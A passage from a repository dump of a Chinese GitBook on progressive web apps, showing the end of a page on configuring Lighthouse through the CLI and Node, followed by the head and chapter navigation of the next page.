punctuation\">}</span>\n</code></pre>\n<p>&#x5982;&#x679C;&#x4F7F;&#x7528; CLI&#xFF0C;&#x9700;&#x8981;&#x7528; --config-path &#x6307;&#x5411;&#x8BE5;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\">lighthouse --config-path<span class=\"token operator\">=</span>path/to/custom-config.js https://example.com\n</code></pre>\n<p>&#x5BF9;&#x4E8E; Node &#x6A21;&#x5757;&#x7684;&#x5F62;&#x5F0F;&#xFF0C;&#x4E5F;&#x57FA;&#x672C;&#x76F8;&#x4F3C;&#xFF0C;&#x5C06;&#x914D;&#x7F6E;&#x5BF9;&#x8C61;&#x5F53;&#x505A; lighthouse &#x65B9;&#x6CD5;&#x7684;&#x7B2C;&#x4E09;&#x4E2A;&#x53C2;&#x6570;&#x4F20;&#x5165;&#x5373;&#x53EF;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token keyword\">const</span> lighthouse <span class=\"token operator\">=</span> <span class=\"token function\">require</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;lighthouse&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">const</span> config <span class=\"token operator\">=</span> <span class=\"token function\">require</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;./path/to/custom-config.js&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token function\">lighthouse</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;https://example.com/&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>port<span class=\"token punctuation\">:</span> <span class=\"token number\">9222</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> config<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5982;&#x679C;&#x8BC4;&#x6D4B;&#x8FC7;&#x7A0B;&#x4E2D;&#x6709;&#x8FD9;&#x79CD;&#x6BD4;&#x8F83;&#x9AD8;&#x9636;&#x7684;&#x914D;&#x7F6E;&#x9700;&#x6C42;&#xFF0C;&#x53EF;&#x4EE5;&#x8BE6;&#x7EC6;&#x4E86;&#x89E3;&#x76F8;&#x5173;&#x7684;<a href=\"https://github.com/GoogleChrome/lighthouse/blob/master/docs/configuration.md\" target=\"_blank\">&#x5C5E;&#x6027;&#x6587;&#x6863;</a>&#xFF0C;&#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x5C31;&#x4E0D;&#x4F5C;&#x5C55;&#x5F00;&#x4E86;&#x3002;</p>\n<p>&#x9664;&#x4E86;&#x8FD9;&#x4E9B;&#x5B98;&#x65B9;&#x63D0;&#x4F9B;&#x7684;&#x5DE5;&#x5177;&#x4E4B;&#x5916;&#xFF0C;&#x4E00;&#x4E9B;&#x5F00;&#x6E90;&#x9879;&#x76EE;&#x4E5F;&#x5C06; Lighthouse &#x8FDB;&#x884C;&#x4E86;&#x96C6;&#x6210;&#x3002;&#x4F8B;&#x5982;&#x4F7F;&#x7528; Webpack &#x6784;&#x5EFA;&#x7684;&#x5E94;&#x7528;&#xFF0C;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; <code>webpack-lighthouse-plugin</code>&#xFF0C;&#x5728;&#x6784;&#x5EFA;&#x7684;&#x8FC7;&#x7A0B;&#x4E2D;&#x5B8C;&#x6210; Lighthouse &#x6D4B;&#x8BC4;&#xFF1B;<code>lighthouse-mocha-example</code> &#x5219;&#x80FD;&#x591F;&#x5728; Mocha &#x7684;&#x6D4B;&#x8BD5;&#x7528;&#x4F8B;&#x4E2D;&#x589E;&#x52A0; Lighthouse &#x7684;&#x6D4B;&#x8BC4;&#x9879;&#x7B49;&#x7B49;&#xFF0C;&#x6574;&#x4E2A;&#x5DE5;&#x5177;&#x751F;&#x6001;&#x65E5;&#x6E10;&#x7E41;&#x8363;&#xFF0C;&#x76F8;&#x4FE1;&#x5BF9;&#x4E8E;&#x6211;&#x4EEC;&#x6D4B;&#x8BC4; PWA &#x6027;&#x80FD;&#xFF0C;&#x6784;&#x5EFA;&#x66F4;&#x5B8C;&#x7F8E;&#x7684; PWA &#x5927;&#x6709;&#x88E8;&#x76CA;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"../appendix01.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 附录1 使用 Lighthouse 测评 PWA\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"2-lighthouse-score-guide.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 2 Lighthouse 评分指南\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"1 使用 Lighthouse 测评 PWA\",\"level\":\"1.11.1\",\"depth\":2,\"next\":{\"title\":\"2 Lighthouse 评分指南\",\"level\":\"1.11.2\",\"depth\":2,\"path\":\"appendix01/2-lighthouse-score-guide.md\",\"ref\":\"appendix01/2-lighthouse-score-guide.md\",\"articles\":[]},\"previous\":{\"title\":\"附录1 使用 Lighthouse 测评 PWA\",\"level\":\"1.11\",\"depth\":1,\"path\":\"appendix01.md\",\"ref\":\"appendix01.md\",\"articles\":[{\"title\":\"1 使用 Lighthouse 测评 PWA\",\"level\":\"1.11.1\",\"depth\":2,\"path\":\"appendix01/1-lighthouse.md\",\"ref\":\"appendix01/1-lighthouse.md\",\"articles\":[]},{\"title\":\"2 Lighthouse 评分指南\",\"level\":\"1.11.2\",\"depth\":2,\"path\":\"appendix01/2-lighthouse-score-guide.md\",\"ref\":\"appendix01/2-lighthouse-score-guide.md\",\"articles\":[]},{\"title\":\"3 Lighthouse 使用案例\",\"level\":\"1.11.3\",\"depth\":2,\"path\":\"appendix01/3-lighthouse-case.md\",\"ref\":\"appendix01/3-lighthouse-case.md\",\"articles\":[]}]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"appendix01/1-lighthouse.md\",\"mtime\":\"2019-06-19T10:37:41.873Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/appendix01/2-lighthouse-score-guide.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>2 Lighthouse 评分指南 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"3-lighthouse-case.html\" />\n    \n    \n    <link rel=\"prev\" href=\"1-lighthouse.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" 